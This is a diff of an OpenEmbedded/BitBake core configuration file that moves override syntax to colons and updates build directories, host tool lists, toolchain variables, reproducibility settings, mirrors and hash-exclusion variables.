-FILES_${PN}-doc = "${docdir} ${mandir} ${infodir} ${datadir}/gtk-doc \
+FILES:${PN}-doc = "${docdir} ${mandir} ${infodir} ${datadir}/gtk-doc \
${datadir}/gnome/help"
-SECTION_${PN}-doc = "doc"
+SECTION:${PN}-doc = "doc"
FILES_SOLIBSDEV ?= "${base_libdir}/lib*${SOLIBSDEV} ${libdir}/lib*${SOLIBSDEV}"
-FILES_${PN}-dev = "${includedir} ${FILES_SOLIBSDEV} ${libdir}/*.la \
+FILES:${PN}-dev = "${includedir} ${FILES_SOLIBSDEV} ${libdir}/*.la \
${libdir}/*.o ${libdir}/pkgconfig ${datadir}/pkgconfig \
${datadir}/aclocal ${base_libdir}/*.o \
${libdir}/${BPN}/*.la ${base_libdir}/*.la \
${libdir}/cmake ${datadir}/cmake"
-SECTION_${PN}-dev = "devel"
-ALLOW_EMPTY_${PN}-dev = "1"
-RDEPENDS_${PN}-dev = "${PN} (= ${EXTENDPKGV})"
+SECTION:${PN}-dev = "devel"
+ALLOW_EMPTY:${PN}-dev = "1"
+DEV_PKG_DEPENDENCY = "${PN} (= ${EXTENDPKGV})"
+RRECOMMENDS:${PN}-dev = "${DEV_PKG_DEPENDENCY}"
-FILES_${PN}-staticdev = "${libdir}/*.a ${base_libdir}/*.a ${libdir}/${BPN}/*.a"
-SECTION_${PN}-staticdev = "devel"
-RDEPENDS_${PN}-staticdev = "${PN}-dev (= ${EXTENDPKGV})"
+FILES:${PN}-staticdev = "${libdir}/*.a ${base_libdir}/*.a ${libdir}/${BPN}/*.a"
+SECTION:${PN}-staticdev = "devel"
+RDEPENDS:${PN}-staticdev = "${PN}-dev (= ${EXTENDPKGV})"
-FILES_${PN}-dbg = "/usr/lib/debug /usr/lib/debug-static /usr/src/debug"
-SECTION_${PN}-dbg = "devel"
-ALLOW_EMPTY_${PN}-dbg = "1"
+FILES:${PN}-dbg = "/usr/lib/debug /usr/lib/debug-static /usr/src/debug"
+SECTION:${PN}-dbg = "devel"
+ALLOW_EMPTY:${PN}-dbg = "1"
# The files list for source packages are dynamically set based on
# PACKAGE_DEBUG_SPLIT_STYLE
-FILES_${PN}-src = ""
-SECTION_${PN}-src = "devel"
+FILES:${PN}-src = ""
+SECTION:${PN}-src = "devel"
-FILES_${PN}-locale = "${datadir}/locale"
+FILES:${PN}-locale = "${datadir}/locale"
# File manifest
@@ -348,25 +383,28 @@ FILESEXTRAPATHS ?= "__default:"
# the builtin definitions will be used. Builtin definitions included:
# base_prefix, prefix, exec_prefix, base_bindir, base_sbindir, base_libdir,
# datadir, sysconfdir, servicedir, sharedstatedir, localstatedir, infodir,
-# mandir, docdir, bindir, sbindir, libexecdir, libdir, includedir and
-# oldincludedir
+# mandir, docdir, bindir, sbindir, libexecdir, libdir and includedir
FILESYSTEM_PERMS_TABLES ?= "${@'files/fs-perms.txt' if oe.types.boolean(d.getVar('VOLATILE_LOG_DIR')) else 'files/fs-perms-persistent-log.txt'}"
##################################################################
# General work and output directories for the build system.
##################################################################
+TCMODE ??= "default"
+TCLIBC ??= "glibc"
+TC_CXX_RUNTIME ??= "gnu"
TMPDIR ?= "${TOPDIR}/tmp"
-CACHE = "${TMPDIR}/cache${@['', '/' + str(d.getVar('MACHINE'))][bool(d.getVar('MACHINE'))]}${@['', '/' + str(d.getVar('SDKMACHINE'))][bool(d.getVar('SDKMACHINE'))]}"
+
+CACHE = "${TMPDIR}/cache"
# The persistent cache should be shared by all builds
PERSISTENT_DIR = "${TOPDIR}/cache"
LOG_DIR = "${TMPDIR}/log"
STAMPS_DIR ?= "${TMPDIR}/stamps"
-STAMP = "${STAMPS_DIR}/${MULTIMACH_TARGET_SYS}/${PN}/${EXTENDPE}${PV}-${PR}"
+STAMP = "${STAMPS_DIR}/${MULTIMACH_TARGET_SYS}/${PN}/${PV}"
STAMPCLEAN = "${STAMPS_DIR}/${MULTIMACH_TARGET_SYS}/${PN}/*-*"
BASE_WORKDIR ?= "${TMPDIR}/work"
-WORKDIR = "${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}/${PN}/${EXTENDPE}${PV}-${PR}"
+WORKDIR = "${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}/${PN}/${PV}"
T = "${WORKDIR}/temp"
D = "${WORKDIR}/image"
S = "${WORKDIR}/${BP}"
@@ -405,7 +443,6 @@ STAGING_DIR_TARGET = "${RECIPE_SYSROOT}"
# Setting DEPLOY_DIR outside of TMPDIR is helpful, when you are using
# packaged staging and/or multimachine.
DEPLOY_DIR ?= "${TMPDIR}/deploy"
-DEPLOY_DIR_TAR = "${DEPLOY_DIR}/tar"
DEPLOY_DIR_IPK = "${DEPLOY_DIR}/ipk"
DEPLOY_DIR_RPM = "${DEPLOY_DIR}/rpm"
DEPLOY_DIR_DEB = "${DEPLOY_DIR}/deb"
@@ -413,26 +450,24 @@ DEPLOY_DIR_IMAGE ?= "${DEPLOY_DIR}/images/${MACHINE}"
DEPLOY_DIR_TOOLS = "${DEPLOY_DIR}/tools"
PKGDATA_DIR = "${TMPDIR}/pkgdata/${MACHINE}"
+PKGDATA_DIR_SDK = "${TMPDIR}/pkgdata/${SDK_SYS}"
##################################################################
# SDK variables.
##################################################################
SDK_NAME_PREFIX ?= "oecore"
-SDK_NAME = "${SDK_NAME_PREFIX}-${SDK_ARCH}-${TUNE_PKGARCH}"
-SDKPATH = "/usr/local/${SDK_NAME_PREFIX}-${SDK_ARCH}"
+SDK_NAME = "${SDK_NAME_PREFIX}-${IMAGE_BASENAME}-${SDK_ARCH}-${TUNE_PKGARCH}-${MACHINE}"
+SDKPATH = "/usr/local/oe-sdk-hardcoded-buildpath"
SDKPATHNATIVE = "${SDKPATH}/sysroots/${SDK_SYS}"
+# The path to default to installing the SDK to
+SDKPATHINSTALL = "/usr/local/${SDK_NAME_PREFIX}-${SDK_ARCH}"
##################################################################
# Kernel info.
##################################################################
-OLDEST_KERNEL = "3.2.0"
-OLDEST_KERNEL_aarch64 = "3.14"
-OLDEST_KERNEL_nios2 = "3.19"
-OLDEST_KERNEL_powerpc64le = "3.10.0"
-OLDEST_KERNEL_riscv32 = "5.4"
-OLDEST_KERNEL_riscv64 = "4.15"
+OLDEST_KERNEL = "5.15"
# SDK_OLDEST_KERNEL can't be set using overrides since there are
# none for the SDK architecture. Best to set it from a machine-sdk
@@ -451,11 +486,6 @@ STAGING_KERNEL_BUILDDIR = "${TMPDIR}/work-shared/${MACHINE}/kernel-build-artifac
##################################################################
IMAGE_ROOTFS = "${WORKDIR}/rootfs"
-IMAGE_BASENAME = "${PN}"
-IMAGE_VERSION_SUFFIX = "-${DATETIME}"
-IMAGE_VERSION_SUFFIX[vardepsexclude] += "DATETIME"
-IMAGE_NAME = "${IMAGE_BASENAME}-${MACHINE}${IMAGE_VERSION_SUFFIX}"
-IMAGE_LINK_NAME = "${IMAGE_BASENAME}-${MACHINE}"
# This option allows for a percentage overage of the actual image size rather than a
# fixed extra space, this is space needed for initial startup and basic operations.
@@ -472,34 +502,37 @@ EXTRA_IMAGEDEPENDS = ""
# Toolchain info.
##################################################################
-PATH_prepend = "${COREBASE}/scripts:${STAGING_BINDIR_TOOLCHAIN}:${STAGING_BINDIR_CROSS}:${STAGING_DIR_NATIVE}${sbindir_native}:${STAGING_BINDIR_NATIVE}:${STAGING_DIR_NATIVE}${base_sbindir_native}:${STAGING_DIR_NATIVE}${base_bindir_native}:"
+PATH:prepend = "${COREBASE}/scripts:${STAGING_BINDIR_TOOLCHAIN}:${STAGING_BINDIR_CROSS}:${STAGING_DIR_NATIVE}${sbindir_native}:${STAGING_BINDIR_NATIVE}:${STAGING_DIR_NATIVE}${base_sbindir_native}:${STAGING_DIR_NATIVE}${base_bindir_native}:"
export PATH
##################################################################
# Build utility info.
##################################################################
-# Directory where host tools are copied
+# Directory with symlinks to host tools used by build
HOSTTOOLS_DIR = "${TMPDIR}/hosttools"
# Tools needed to run builds with OE-Core
HOSTTOOLS += " \
- [ ar as awk basename bash bzip2 cat chgrp chmod chown chrpath cmp comm cp cpio \
+ [ ar as awk basename bash bunzip2 bzip2 cat chgrp chmod chown chrpath cmp comm cp cpio \
cpp cut date dd diff diffstat dirname du echo egrep env expand expr false \
fgrep file find flock g++ gawk gcc getconf getopt git grep gunzip gzip \
- head hostname iconv id install ld ldd ln ls make md5sum mkdir mknod \
+ head hostname iconv id install ld ldd ln ls lz4c make md5sum mkdir mkfifo mknod \
mktemp mv nm objcopy objdump od patch perl pr printf pwd \
- python3 ranlib readelf readlink realpath rm rmdir rpcgen sed seq sh \
+ python3 pzstd ranlib readelf readlink realpath rm rmdir rpcgen sed seq sh \
sha1sum sha224sum sha256sum sha384sum sha512sum \
sleep sort split stat strings strip tail tar tee test touch tr true uname \
- uniq wc wget which xargs \
+ uniq unzstd wc wget which xargs zstd \
"
# Tools needed to run testimage runtime image testing
HOSTTOOLS += "${@'ip ping ps scp ssh stty' if (bb.utils.contains_any('IMAGE_CLASSES', 'testimage testsdk', True, False, d) or any(x in (d.getVar("BBINCLUDED") or "") for x in ["testimage.bbclass", "testsdk.bbclass"])) else ''}"
+# Used by archiver.bbclass when compression is xz
+HOSTTOOLS += "${@'xz' if (('archiver.bbclass' in (d.getVar('BBINCLUDED') or '')) and (d.getVarFlag('ARCHIVER_MODE', 'compression') == 'xz')) else ''}"
+
# Link to these if present
-HOSTTOOLS_NONFATAL += "aws gcc-ar gpg ld.bfd ld.gold nc pigz sftp socat ssh sudo"
+HOSTTOOLS_NONFATAL += "aws gcc-ar gpg gpg-agent ld.bfd ld.gold nc pigz sftp socat ssh sudo"
# Temporary add few more detected in bitbake world
HOSTTOOLS_NONFATAL += "join nl size yes zcat"
@@ -510,6 +543,12 @@ HOSTTOOLS_NONFATAL += "bzr"
# Used by ssh fetcher
HOSTTOOLS_NONFATAL += "scp"
+# Used by Mercurial fetcher
+HOSTTOOLS_NONFATAL += "hg"
+
+# Used by gcp fetcher
+HOSTTOOLS_NONFATAL += "gsutil"
+
# Link to git-lfs if present
HOSTTOOLS_NONFATAL += "git-lfs"
@@ -519,7 +558,7 @@ TOOLCHAIN_OPTIONS = " --sysroot=${STAGING_DIR_TARGET}"
export CC = "${CCACHE}${HOST_PREFIX}gcc ${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS}"
export CXX = "${CCACHE}${HOST_PREFIX}g++ ${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS}"
-export FC = "${CCACHE}${HOST_PREFIX}gfortran ${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS}"
+export FC = "${HOST_PREFIX}gfortran ${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS}"
export CPP = "${HOST_PREFIX}gcc -E${TOOLCHAIN_OPTIONS} ${HOST_CC_ARCH}"
export LD = "${HOST_PREFIX}ld${TOOLCHAIN_OPTIONS} ${HOST_LD_ARCH}"
export CCLD = "${CC}"
@@ -530,21 +569,24 @@ export STRIP = "${HOST_PREFIX}strip"
export OBJCOPY = "${HOST_PREFIX}objcopy"
export OBJDUMP = "${HOST_PREFIX}objdump"
export STRINGS = "${HOST_PREFIX}strings"
-export NM = "${HOST_PREFIX}nm"
+export NM = "${HOST_PREFIX}gcc-nm"
export READELF = "${HOST_PREFIX}readelf"
PYTHON = "${@sys.executable}"
export BUILD_CC = "${CCACHE}${BUILD_PREFIX}gcc ${BUILD_CC_ARCH}"
export BUILD_CXX = "${CCACHE}${BUILD_PREFIX}g++ ${BUILD_CC_ARCH}"
-export BUILD_FC = "${CCACHE}${BUILD_PREFIX}gfortran ${BUILD_CC_ARCH}"
+export BUILD_FC = "${BUILD_PREFIX}gfortran ${BUILD_CC_ARCH}"
export BUILD_CPP = "${BUILD_PREFIX}gcc ${BUILD_CC_ARCH} -E"
export BUILD_LD = "${BUILD_PREFIX}ld ${BUILD_LD_ARCH}"
export BUILD_CCLD = "${BUILD_PREFIX}gcc ${BUILD_CC_ARCH}"
export BUILD_AR = "${BUILD_PREFIX}ar"
export BUILD_AS = "${BUILD_PREFIX}as ${BUILD_AS_ARCH}"
-export BUILD_RANLIB = "${BUILD_PREFIX}ranlib"
+export BUILD_RANLIB = "${BUILD_PREFIX}ranlib -D"
export BUILD_STRIP = "${BUILD_PREFIX}strip"
+BUILD_OBJCOPY = "${BUILD_PREFIX}objcopy"
+BUILD_OBJDUMP = "${BUILD_PREFIX}objdump"
export BUILD_NM = "${BUILD_PREFIX}nm"
+BUILD_READELF = "${BUILD_PREFIX}readelf"
export MAKE = "make"
EXTRA_OEMAKE = ""
@@ -595,24 +637,30 @@ TARGET_LINK_HASH_STYLE ?= "${@['-Wl,--hash-style=gnu',''][d.getVar('LINKER_HASH_
ASNEEDED ?= "-Wl,--as-needed"
export LDFLAGS = "${TARGET_LDFLAGS}"
-TARGET_LDFLAGS = "-Wl,-O1 ${TARGET_LINK_HASH_STYLE} ${ASNEEDED}"
+TARGET_LDFLAGS = "-Wl,-O1 ${TARGET_LINK_HASH_STYLE} ${ASNEEDED} ${DEBUG_PREFIX_MAP}"
# mips does not support GNU hash style therefore we override
-LINKER_HASH_STYLE_mipsarch_libc-musl = "sysv"
+LINKER_HASH_STYLE:mipsarch:libc-musl = "sysv"
# Pass parallel make options to the compile task
-EXTRA_OEMAKE_prepend_task-compile = "${PARALLEL_MAKE} "
+EXTRA_OEMAKE:prepend:task-compile = "${PARALLEL_MAKE} "
PARALLEL_MAKEINST ??= "${PARALLEL_MAKE}"
+PARALLEL_MAKEINST[vardepvalue] = "1"
# Pass parallel make options to the install task
-EXTRA_OEMAKE_prepend_task-install = "${PARALLEL_MAKEINST} "
+EXTRA_OEMAKE:prepend:task-install = "${PARALLEL_MAKEINST} "
##################################################################
# Optimization flags.
##################################################################
+TARGET_DBGSRC_DIR ?= "/usr/src/debug/${PN}/${PV}"
# Beware: applied last to first
-DEBUG_PREFIX_MAP ?= "-fmacro-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR} \
- -fdebug-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR} \
- -fdebug-prefix-map=${STAGING_DIR_HOST}= \
- -fdebug-prefix-map=${STAGING_DIR_NATIVE}= \
+DEBUG_PREFIX_MAP ?= "-fcanon-prefix-map \
+ -fmacro-prefix-map=${S}=${TARGET_DBGSRC_DIR} \
+ -fdebug-prefix-map=${S}=${TARGET_DBGSRC_DIR} \
+ -fmacro-prefix-map=${B}=${TARGET_DBGSRC_DIR} \
+ -fdebug-prefix-map=${B}=${TARGET_DBGSRC_DIR} \
+ -fdebug-prefix-map=${STAGING_DIR_HOST}= \
+ -fmacro-prefix-map=${STAGING_DIR_HOST}= \
+ -fdebug-prefix-map=${STAGING_DIR_NATIVE}= \
"
DEBUG_FLAGS ?= "-g -feliminate-unused-debug-types ${DEBUG_PREFIX_MAP}"
@@ -625,6 +673,21 @@ BUILD_OPTIMIZATION = "${@oe.utils.vartrue('DEBUG_BUILD', '-Og -g -feliminate-unu
BUILD_OPTIMIZATION[vardeps] += "DEBUG_BUILD"
##################################################################
+# Reproducibility
+##################################################################
+
+SDE_DIR = "${WORKDIR}/source-date-epoch"
+SDE_FILE = "${SDE_DIR}/__source_date_epoch.txt"
+SDE_DEPLOYDIR = "${WORKDIR}/deploy-source-date-epoch"
+
+export PYTHONHASHSEED = "0"
+export PERL_HASH_SEED = "0"
+export SOURCE_DATE_EPOCH ?= "${@get_source_date_epoch_value(d)}"
+# A SOURCE_DATE_EPOCH of '0' might be misinterpreted as no SDE
+SOURCE_DATE_EPOCH_FALLBACK ??= "1302044400"
+REPRODUCIBLE_TIMESTAMP_ROOTFS ??= "1520598896"
+
+##################################################################
# Settings used by bitbake-layers.
##################################################################
BBLAYERS_LAYERINDEX_URL ??= "https://layers.openembedded.org/layerindex/"
@@ -635,20 +698,21 @@ BBLAYERS_FETCH_DIR ??= "${COREBASE}"
##################################################################
APACHE_MIRROR = "https://archive.apache.org/dist"
+CPAN_MIRROR = "https://search.cpan.org/CPAN"
DEBIAN_MIRROR = "http://ftp.debian.org/debian/pool"
GENTOO_MIRROR = "http://distfiles.gentoo.org/distfiles"
GNOME_GIT = "git://gitlab.gnome.org/GNOME"
-GNOME_MIRROR = "https://ftp.gnome.org/pub/GNOME/sources"
+GNOME_MIRROR = "https://download.gnome.org/sources/"
GNU_MIRROR = "https://ftp.gnu.org/gnu"
GNUPG_MIRROR = "https://www.gnupg.org/ftp/gcrypt"
GPE_MIRROR = "http://gpe.linuxtogo.org/download/source"
KERNELORG_MIRROR = "https://cdn.kernel.org/pub"
+SAMBA_MIRROR = "http://samba.org/samba/ftp"
+SAVANNAH_GNU_MIRROR = "https://download.savannah.gnu.org/releases"
+SAVANNAH_NONGNU_MIRROR = "https://download.savannah.nongnu.org/releases"
SOURCEFORGE_MIRROR = "https://downloads.sourceforge.net"
XLIBS_MIRROR = "https://xlibs.freedesktop.org/release"
XORG_MIRROR = "https://www.x.org/releases/"
-SAVANNAH_GNU_MIRROR = "https://download.savannah.gnu.org/releases"
-SAVANNAH_NONGNU_MIRROR = "https://download.savannah.nongnu.org/releases"
-CPAN_MIRROR = "https://search.cpan.org/CPAN"
SRC_URI[vardepsexclude] += "\
APACHE_MIRROR \
@@ -661,6 +725,7 @@ SRC_URI[vardepsexclude] += "\
GNUPG_MIRROR \
GPE_MIRROR \
KERNELORG_MIRROR \
+ SAMBA_MIRROR \
SAVANNAH_GNU_MIRROR \
SAVANNAH_NONGNU_MIRROR \
SOURCEFORGE_MIRROR \
@@ -675,10 +740,7 @@ SRC_URI[vardepsexclude] += "\
SRCDATE = "${DATE}"
SRCREV ??= "INVALID"
AUTOREV = "${@bb.fetch2.get_autorev(d)}"
-AUTOREV[vardepvalue] = "${SRCPV}"
-# Set Dynamically in base.bbclass
-# SRCPV = "${@bb.fetch2.get_srcrev(d)}"
-SRCPV[vardepvalue] = "${SRCPV}"
+SRCPV = ""
SRC_URI = ""
@@ -686,15 +748,21 @@ SRC_URI = ""
PSEUDO_LOCALSTATEDIR ?= "${WORKDIR}/pseudo/"
PSEUDO_PASSWD ?= "${STAGING_DIR_TARGET}:${PSEUDO_SYSROOT}"
PSEUDO_SYSROOT = "${COMPONENTS_DIR}/${BUILD_ARCH}/pseudo-native"
+PSEUDO_IGNORE_PATHS = "/usr/,/etc/,/lib,/dev/,/run/,${T},${WORKDIR}/recipe-sysroot,${SSTATE_DIR},${STAMPS_DIR}"
+PSEUDO_IGNORE_PATHS .= ",${TMPDIR}/sstate-control,${TMPDIR}/buildstats,${TMPDIR}/sysroots-components,${TMPDIR}/pkgdata"
+PSEUDO_IGNORE_PATHS .= ",${WORKDIR}/deploy-,${WORKDIR}/sstate-build-package_,${WORKDIR}/sstate-install-package_,${WORKDIR}/pkgdata-sysroot"
+PSEUDO_IGNORE_PATHS .= ",${DEPLOY_DIR},${BUILDHISTORY_DIR},${TOPDIR}/cache,${COREBASE}/scripts,${CCACHE_DIR}"
+
export PSEUDO_DISABLED = "1"
#export PSEUDO_PREFIX = "${STAGING_DIR_NATIVE}${prefix_native}"
#export PSEUDO_BINDIR = "${STAGING_DIR_NATIVE}${bindir_native}"
#export PSEUDO_LIBDIR = "${STAGING_DIR_NATIVE}$PSEUDOBINDIR/../lib/pseudo/lib
-FAKEROOTBASEENV = "PSEUDO_BINDIR=${PSEUDO_SYSROOT}${bindir_native} PSEUDO_LIBDIR=${PSEUDO_SYSROOT}${prefix_native}/lib/pseudo/lib PSEUDO_PREFIX=${PSEUDO_SYSROOT}${prefix_native} PSEUDO_DISABLED=1"
+FAKEROOTBASEENV = "PSEUDO_BINDIR=${PSEUDO_SYSROOT}${bindir_native} PSEUDO_LIBDIR=${PSEUDO_SYSROOT}${prefix_native}/lib/pseudo/lib PSEUDO_PREFIX=${PSEUDO_SYSROOT}${prefix_native} PSEUDO_IGNORE_PATHS=${@oe.path.canonicalize(d.getVar('PSEUDO_IGNORE_PATHS'))} PSEUDO_DISABLED=1 PYTHONDONTWRITEBYTECODE=1"
FAKEROOTCMD = "${PSEUDO_SYSROOT}${bindir_native}/pseudo"
-FAKEROOTENV = "PSEUDO_PREFIX=${PSEUDO_SYSROOT}${prefix_native} PSEUDO_LOCALSTATEDIR=${PSEUDO_LOCALSTATEDIR} PSEUDO_PASSWD=${PSEUDO_PASSWD} PSEUDO_NOSYMLINKEXP=1 PSEUDO_DISABLED=0"
+FAKEROOTENV = "PSEUDO_PREFIX=${PSEUDO_SYSROOT}${prefix_native} PSEUDO_LOCALSTATEDIR=${PSEUDO_LOCALSTATEDIR} PSEUDO_PASSWD=${PSEUDO_PASSWD} PSEUDO_NOSYMLINKEXP=1 PSEUDO_IGNORE_PATHS=${@oe.path.canonicalize(d.getVar('PSEUDO_IGNORE_PATHS'))} PSEUDO_DISABLED=0"
FAKEROOTNOENV = "PSEUDO_UNLOAD=1"
FAKEROOTDIRS = "${PSEUDO_LOCALSTATEDIR}"
+FAKEROOTLOGS = "${WORKDIR}/pseudo/pseudo.log"
PREFERRED_PROVIDER_virtual/fakeroot-native ?= "pseudo-native"
##################################################################
@@ -702,7 +770,7 @@ PREFERRED_PROVIDER_virtual/fakeroot-native ?= "pseudo-native"
##################################################################
# Pre-build configuration output
-BUILDCFG_HEADER = "Build Configuration:"
+BUILDCFG_HEADER = "Build Configuration${@" (mc:${BB_CURRENT_MC})" if d.getVar("BBMULTICONFIG") else ""}:"
BUILDCFG_VARS = "BB_VERSION BUILD_SYS NATIVELSBSTRING TARGET_SYS MACHINE DISTRO DISTRO_VERSION TUNE_FEATURES TARGET_FPU"
BUILDCFG_VARS[type] = "list"
BUILDCFG_NEEDEDVARS = "TARGET_ARCH TARGET_OS"
@@ -733,14 +801,15 @@ DISTRO_NAME ??= "OpenEmbedded"
# Overrides are processed left to right, so the ones that are named later take precedence.
# You generally want them to go from least to most specific. This means that:
-# A variable '<foo>_arm' overrides a variable '<foo>' when ${TARGET_ARCH} is arm.
-# A variable '<foo>_qemuarm' overrides '<foo>' and overrides '<foo>_arm' when ${MACHINE} is 'qemuarm'.
-# If you use combination ie '<foo>_qemuarm_arm', then '<foo>_qemuarm_arm' will override
-# '<foo>_qemuarm' and then '<foo>' will be overriden with that value from '<foo>_qemuarm'.
-# And finally '<foo>_forcevariable' overrides any standard variable, with the highest priority.
+# A variable '<foo>:arm' overrides a variable '<foo>' when ${TARGET_ARCH} is arm.
+# A variable '<foo>:qemuarm' overrides '<foo>' and overrides '<foo>:arm' when ${MACHINE} is 'qemuarm'.
+# If you use combination ie '<foo>:qemuarm:arm', then '<foo>:qemuarm:arm' will override
+# '<foo>:qemuarm' and then '<foo>' will be overriden with that value from '<foo>:qemuarm'.
+# And finally '<foo>:forcevariable' overrides any standard variable, with the highest priority.
# This works for functions as well, they are really just variables.
#
-OVERRIDES = "${TARGET_OS}:${TRANSLATED_TARGET_ARCH}:pn-${PN}:${MACHINEOVERRIDES}:${DISTROOVERRIDES}:${CLASSOVERRIDE}${LIBCOVERRIDE}:forcevariable"
+OVERRIDES = "${TARGET_OS}:${TRANSLATED_TARGET_ARCH}:pn-${PN}:layer-${FILE_LAYERNAME}:${MACHINEOVERRIDES}:${DISTROOVERRIDES}:${CLASSOVERRIDE}${LIBCOVERRIDE}:forcevariable"
+FILE_LAYERNAME ??= "config"
LIBCOVERRIDE ?= ""
CLASSOVERRIDE ?= "class-target"
DISTROOVERRIDES ?= "${@d.getVar('DISTRO') or ''}"
@@ -764,6 +833,8 @@ include conf/distro/defaultsetup.conf
include conf/documentation.conf
include conf/licenses.conf
require conf/sanity.conf
+require conf/cve-check-map.conf
+include conf/bblock.conf
##################################################################
# Weak variables (usually to retain backwards compatibility)
@@ -801,9 +872,22 @@ PARALLEL_MAKE ?= "-j ${@oe.utils.cpu_count()}"
# Default parallelism and resource usage for xz
XZ_MEMLIMIT ?= "50%"
XZ_THREADS ?= "${@oe.utils.cpu_count(at_least=2)}"
+XZ_THREADS[vardepvalue] = "1"
XZ_DEFAULTS ?= "--memlimit=${XZ_MEMLIMIT} --threads=${XZ_THREADS}"
XZ_DEFAULTS[vardepsexclude] += "XZ_MEMLIMIT XZ_THREADS"
+# Default parallelism for zstd
+ZSTD_THREADS ?= "${@oe.utils.cpu_count(at_least=2)}"
+ZSTD_THREADS[vardepvalue] = "1"
+
+ZSTD_COMPRESSION_LEVEL ?= "-3"
+ZSTD_DEFAULTS ?= "--threads=${ZSTD_THREADS} ${ZSTD_COMPRESSION_LEVEL}"
+ZSTD_DEFAULTS[vardepsexclude] = "ZSTD_THREADS"
+
+# Limit the number of threads that OpenMP libraries will use. Otherwise they
+# may fallback to using all CPUs
+export OMP_NUM_THREADS = "${BB_NUMBER_THREADS}"
+
##################################################################
# Magic Cookie for SANITY CHECK
##################################################################
@@ -814,6 +898,8 @@ OES_BITBAKE_CONF = "1"
##################################################################
MACHINE_FEATURES ?= ""
+SDK_MACHINE_FEATURES ?= ""
+
DISTRO_FEATURES ?= ""
DISTRO_EXTRA_RDEPENDS ?= ""
@@ -828,13 +914,13 @@ IMAGE_FEATURES += "${EXTRA_IMAGE_FEATURES}"
# Native distro features (will always be used for -native, even if they
# are not enabled for target)
-DISTRO_FEATURES_NATIVE ?= "x11 ipv6 xattr"
+DISTRO_FEATURES_NATIVE ?= "acl x11 ipv6 xattr"
DISTRO_FEATURES_NATIVESDK ?= "x11"
# Normally target distro features will not be applied to native builds:
# Native distro features on this list will use the target feature value
-DISTRO_FEATURES_FILTER_NATIVE ?= "api-documentation opengl"
-DISTRO_FEATURES_FILTER_NATIVESDK ?= "api-documentation opengl"
+DISTRO_FEATURES_FILTER_NATIVE ?= "api-documentation debuginfod opengl wayland"
+DISTRO_FEATURES_FILTER_NATIVESDK ?= "api-documentation debuginfod opengl wayland"
DISTRO_FEATURES_BACKFILL = "pulseaudio sysvinit gobject-introspection-data ldconfig"
MACHINE_FEATURES_BACKFILL = "rtc qemu-usermode"
@@ -842,25 +928,11 @@ MACHINE_FEATURES_BACKFILL = "rtc qemu-usermode"
COMBINED_FEATURES = "${@oe.utils.set_intersect('DISTRO_FEATURES', 'MACHINE_FEATURES', d)}"
COMBINED_FEATURES[vardeps] += "DISTRO_FEATURES MACHINE_FEATURES"
-SERIAL_CONSOLE ??= ""
-SERIAL_CONSOLES ??= "${@d.getVar('SERIAL_CONSOLE').replace(' ', ';')}"
+SERIAL_CONSOLES ??= ""
NO_RECOMMENDATIONS ??= ""
BAD_RECOMMENDATIONS ?= ""
-# Make sure MACHINE isn't exported
-# (breaks binutils at least)
-MACHINE[unexport] = "1"
-
-# Make sure TARGET_ARCH isn't exported
-# (breaks Makefiles using implicit rules, e.g. quilt, as GNU make has this
-# in them, undocumented)
-TARGET_ARCH[unexport] = "1"
-
-# Make sure DISTRO isn't exported
-# (breaks sysvinit at least)
-DISTRO[unexport] = "1"
-
# Make sure SHELL isn't exported
# (can break any number of things if the user's shell isn't POSIX-compliant,
# including the flock command). The user's shell shouldn't affect our builds.
@@ -869,32 +941,40 @@ SHELL[unexport] = "1"
# Used by canadian-cross to handle string conversions on TARGET_ARCH where needed
TRANSLATED_TARGET_ARCH ??= "${@d.getVar('TARGET_ARCH').replace("_", "-")}"
+# Set a default umask to use for tasks for determinism
+BB_DEFAULT_UMASK ??= "022"
+
# Complete output from bitbake
BB_CONSOLELOG ?= "${LOG_DIR}/cooker/${MACHINE}/${DATETIME}.log"
+BB_DEFAULT_EVENTLOG ?= "${LOG_DIR}/eventlog/${DATETIME}.json"
# Setup our default hash policy
BB_SIGNATURE_HANDLER ?= "OEBasicHash"
-BB_HASHBASE_WHITELIST ?= "TMPDIR FILE PATH PWD BB_TASKHASH BBPATH BBSERVER DL_DIR \
- SSTATE_DIR THISDIR FILESEXTRAPATHS FILE_DIRNAME HOME LOGNAME SHELL \
+BB_HASHEXCLUDE_COMMON ?= "TMPDIR FILE PATH PWD BB_TASKHASH BBPATH BBSERVER DL_DIR \
+ THISDIR FILESEXTRAPATHS FILE_DIRNAME HOME LOGNAME SHELL \
USER FILESPATH STAGING_DIR_HOST STAGING_DIR_TARGET COREBASE PRSERV_HOST \
STAMPS_DIR PRSERV_DUMPDIR PRSERV_DUMPFILE PRSERV_LOCKDOWN PARALLEL_MAKE \
CCACHE_DIR EXTERNAL_TOOLCHAIN CCACHE CCACHE_NOHASHDIR LICENSE_PATH SDKPKGSUFFIX \
- WARN_QA ERROR_QA WORKDIR STAMPCLEAN PKGDATA_DIR BUILD_ARCH SSTATE_PKGARCH \
+ WARN_QA WORKDIR STAMPCLEAN PKGDATA_DIR BUILD_ARCH SSTATE_PKGARCH \
BB_WORKERCONTEXT BB_LIMITEDDEPS BB_UNIHASH extend_recipe_sysroot DEPLOY_DIR \
SSTATE_HASHEQUIV_METHOD SSTATE_HASHEQUIV_REPORT_TASKDATA \
- SSTATE_HASHEQUIV_OWNER CCACHE_TOP_DIR BB_HASHSERVE GIT_CEILING_DIRECTORIES"
-BB_HASHCONFIG_WHITELIST ?= "${BB_HASHBASE_WHITELIST} DATE TIME SSH_AGENT_PID \
- SSH_AUTH_SOCK PSEUDO_BUILD BB_ENV_EXTRAWHITE DISABLE_SANITY_CHECKS \
+ SSTATE_HASHEQUIV_OWNER CCACHE_TOP_DIR BB_HASHSERVE GIT_CEILING_DIRECTORIES \
+ OMP_NUM_THREADS BB_CURRENTTASK"
+BB_BASEHASH_IGNORE_VARS ?= "${BB_HASHEXCLUDE_COMMON} PSEUDO_IGNORE_PATHS BUILDHISTORY_DIR \
+ SSTATE_DIR SOURCE_DATE_EPOCH RUST_BUILD_SYS RUST_HOST_SYS RUST_TARGET_SYS"
